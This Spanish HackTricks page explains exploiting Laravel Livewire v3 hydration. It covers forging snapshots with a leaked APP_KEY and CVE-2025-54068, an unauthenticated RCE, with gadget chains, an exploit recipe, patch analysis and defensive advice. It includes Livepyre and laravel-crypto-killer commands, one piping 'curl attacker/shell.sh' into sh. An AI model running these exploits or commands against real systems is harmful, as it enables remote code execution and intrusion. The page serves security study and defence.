Laravel Livewire Hydration & Synthesizer Abuse

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

Recap del state machine de Livewire

Los componentes de Livewire 3 intercambian su estado mediante snapshots que contienen data, memo y un checksum. Cada POST a /livewire/update rehidrata el snapshot JSON en el lado del servidor y ejecuta las calls/updates en cola.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Cualquiera que tenga APP_KEY (usada para derivar $hashKey) puede, por tanto, forjar snapshots arbitrarios recomputando el HMAC.

Las propiedades complejas se codifican como synthetic tuples detectadas por Livewire\Drawer\BaseUtils::isSyntheticTuple(); cada tuple es [value, {"s":"<key>", ...meta}]. El núcleo de hydration simplemente delega cada tuple al synth seleccionado en HandleComponents::$propertySynthesizers y recurre sobre los children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Este diseño recursivo convierte a Livewire en un generic object-instantiation engine una vez que un atacante controla la tupla metadata o cualquier tupla anidada procesada durante la recursión.

Synthesizers que otorgan gadget primitives

SynthesizerComportamiento controlado por el atacante
CollectionSynth (clctn)Instancia new $meta['class']($value) después de rehidratar cada hijo. Cualquier clase con un constructor array puede ser creada, y cada elemento puede ser a su vez una tupla sintética.
FormObjectSynth (form)Llama a new $meta['class']($component, $path), luego asigna cada public property desde hijos controlados por el atacante mediante $hydrateChild. Constructores que acepten dos parámetros débilmente tipados (o args por defecto) son suficientes para llegar a arbitrary public properties.
ModelSynth (mdl)Cuando key no está presente en meta ejecuta return new $class;, permitiendo instanciación sin argumentos de cualquier clase bajo control del atacante.

Como los synths invocan $hydrateChild en cada elemento anidado, se pueden construir arbitrary gadget graphs apilando tuplas recursivamente.

Forjando snapshots cuando APP_KEY es conocido

  1. Captura una request legítima a /livewire/update y decodifica components[0].snapshot.
  2. Inyecta tuplas anidadas que apunten a gadget classes y recomputa checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Vuelve a codificar el snapshot, deja _token/memo sin tocar y reenvía la request.

Una prueba mínima de ejecución usa Guzzle’s FnStream y Flysystem’s ShardedPrefixPublicUrlGenerator. Una tupla instancia FnStream con data del constructor { "__toString": "phpinfo" }, la siguiente instancia ShardedPrefixPublicUrlGenerator con [FnStreamInstance] como $prefixes. Cuando Flysystem castea cada prefix a string, PHP invoca el callable __toString proporcionado por el atacante, llamando a cualquier function sin argumentos.

De function calls a full RCE

Aprovechando las instantiation primitives de Livewire, Synacktiv adaptó la chain Laravel/RCE4 de phpggc para que la hidratación arranque un objeto cuyo estado public Queueable desencadena deserialización:

  1. Queueable trait – cualquier objeto que use Illuminate\Bus\Queueable expone public $chained y ejecuta unserialize(array_shift($this->chained)) en dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) se instancia mediante CollectionSynth / FormObjectSynth con public $chained poblado.
  3. phpggc Laravel/RCE4Adapted – el serialized blob almacenado en $chained[0] construye PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() finalmente llama a call_user_func_array($closure, $args), habilitando system($cmd).
  4. Stealth termination – al proporcionar un segundo callable de FnStream como [new Laravel\Prompts\Terminal(), 'exit'], la request termina con exit() en lugar de una exception ruidosa, manteniendo limpia la HTTP response.

Automatizando la forja de snapshots

synacktiv/laravel-crypto-killer ahora incluye un modo livewire que une todo:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

La herramienta analiza la snapshot capturada, inyecta las tuplas gadget, recomputa el checksum e imprime un payload /livewire/update listo para enviar.

CVE-2025-54068 – RCE sin APP_KEY

Según el advisory del vendor, el problema afecta a Livewire v3 (>= 3.0.0-beta.1 y <= 3.6.3) y es exclusivo de v3.

updates se fusionan en el estado del component después de que se valida el checksum de la snapshot. Si una property dentro de la snapshot es (o se convierte en) una tupla synthetic, Livewire reutiliza sus meta mientras hidrata el valor de update controlado por el attacker:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Receta de exploit:

  1. Encuentra un componente Livewire con una propiedad pública sin tipar (por ejemplo, public $count;).
  2. Envía una actualización que establezca esa propiedad en []. El siguiente snapshot ahora la almacena como [[], {"s": "arr"}].

Un flujo mínimo de type-juggling se ve así:

POST /livewire/update
...
"updates": {"count": []}

Luego el siguiente snapshot almacena una tupla que conserva los metadatos del synthesizer arr:

"count": [[], {"s": "arr"}]
  1. Construye otro payload de updates donde esa propiedad contenga un array profundamente anidado que incruste tuplas como [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. Durante la recursión, hydrate() evalúa cada hijo anidado de forma independiente, así que las synth keys/classes elegidas por el atacante son respetadas aunque la tupla externa y el checksum nunca cambiaron.
  3. Reutiliza las mismas primitivas de CollectionSynth/FormObjectSynth para instanciar un gadget Queueable cuyo $chained[0] contenga el payload de phpggc. Livewire procesa las updates forjadas, invoca dispatchNextJobInChain(), y llega a system(<cmd>) sin conocer APP_KEY.

Razones clave de por qué esto funciona:

  • updates no están cubiertos por el checksum del snapshot.
  • getMetaForPath() confía en cualquier metadato synth que ya existiera para esa propiedad, incluso si el atacante previamente la forzó a convertirse en una tupla mediante weak typing.
  • La recursión más weak typing permiten que cada array anidado se interprete como una tupla nueva, así que synth keys arbitrarias y clases arbitrarias acaban llegando a hydration.

Target de alto valor pre-auth: formularios de login de Filament

Las aplicaciones construidas sobre Livewire a menudo exponen una superficie pre-auth aún más fácil que una propiedad de juguete public $count;. Por ejemplo, las páginas de login de Filament suelen hidratar un objeto $form con tipado débil que ya se serializa como una tupla form en el snapshot. Eso elimina por completo el paso de preparación “scalar -> array -> tupla arr”:

  • El snapshot ya contiene algo como {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]}.
  • Un atacante puede enviar updates.form con tuplas maliciosas anidadas directamente, porque la recursión acabará reinterpretando hijos como [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}].
  • Por eso, los entrypoints pre-auth de Livewire que exponen objetos FormObjectSynth son especialmente atractivos: ya proporcionan tanto instanciación como asignación de propiedades públicas.

Análisis del parche: preservar metadatos raw durante la recursión de update

La corrección introduce una ruta dedicada hydratePropertyUpdate() para que los valores de updates anidados ya no llamen a hydrate($child, ...) genérico sobre hijos controlados por el atacante:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

Impacto de seguridad del patch:

  • Las nested updates se vuelven a validar contra la ruta original de raw snapshot en lugar de confiar en fresh attacker-supplied tuple metadata.
  • Recursive hydration ya no permite que los children redefinan s o class a mitad de ejecución.
  • Esto bloquea tanto arbitrary synthesizer switching como arbitrary class selection dentro de nested update arrays.

Livepyre – end-to-end exploitation

Livepyre automatiza tanto el APP_KEY-less CVE como la ruta de signed-snapshot:

  • Fingerprints la versión de Livewire desplegada analizando <script src="/livewire/livewire.js?id=HASH"> (o ?v=HASH) y mapeando el hash a releases vulnerables.
  • Collects baseline snapshots reproduciendo acciones benignas y extrayendo components[].snapshot.
  • Genera un payload solo de updates (CVE-2025-54068) o un forged snapshot (known APP_KEY) que embebe la cadena phpggc.
  • Si no se encuentra ningún parámetro object-typed en un snapshot, Livepyre recurre a brute-forcing de candidate params para alcanzar una property coercible.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check ejecuta una sondeo no destructiva, -F omite el version gating, -H y -P añaden headers o proxies personalizados, y --function/--param personalizan la función php invocada por la gadget chain.

Defensive considerations

  • Actualiza a versiones corregidas de Livewire (>= 3.6.4 según el boletín del proveedor) y despliega el parche del proveedor para CVE-2025-54068.
  • Evita propiedades públicas débilmente tipadas en componentes de Livewire; los tipos escalares explícitos impiden que los valores de las propiedades se coaccionen a arrays/tuples.
  • Registra solo los synthesizers que realmente necesites y trata los metadatos controlados por el usuario ($meta['class']) como no confiables.
  • Rechaza actualizaciones que cambien el tipo JSON de una propiedad (p. ej., scalar -> array) salvo que esté explícitamente permitido, y vuelve a derivar synth metadata en lugar de reutilizar tuples obsoletos.
  • Rota APP_KEY con prontitud después de cualquier disclosure porque permite forjar snapshots offline sin importar lo parcheado que esté el code-base.

References

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks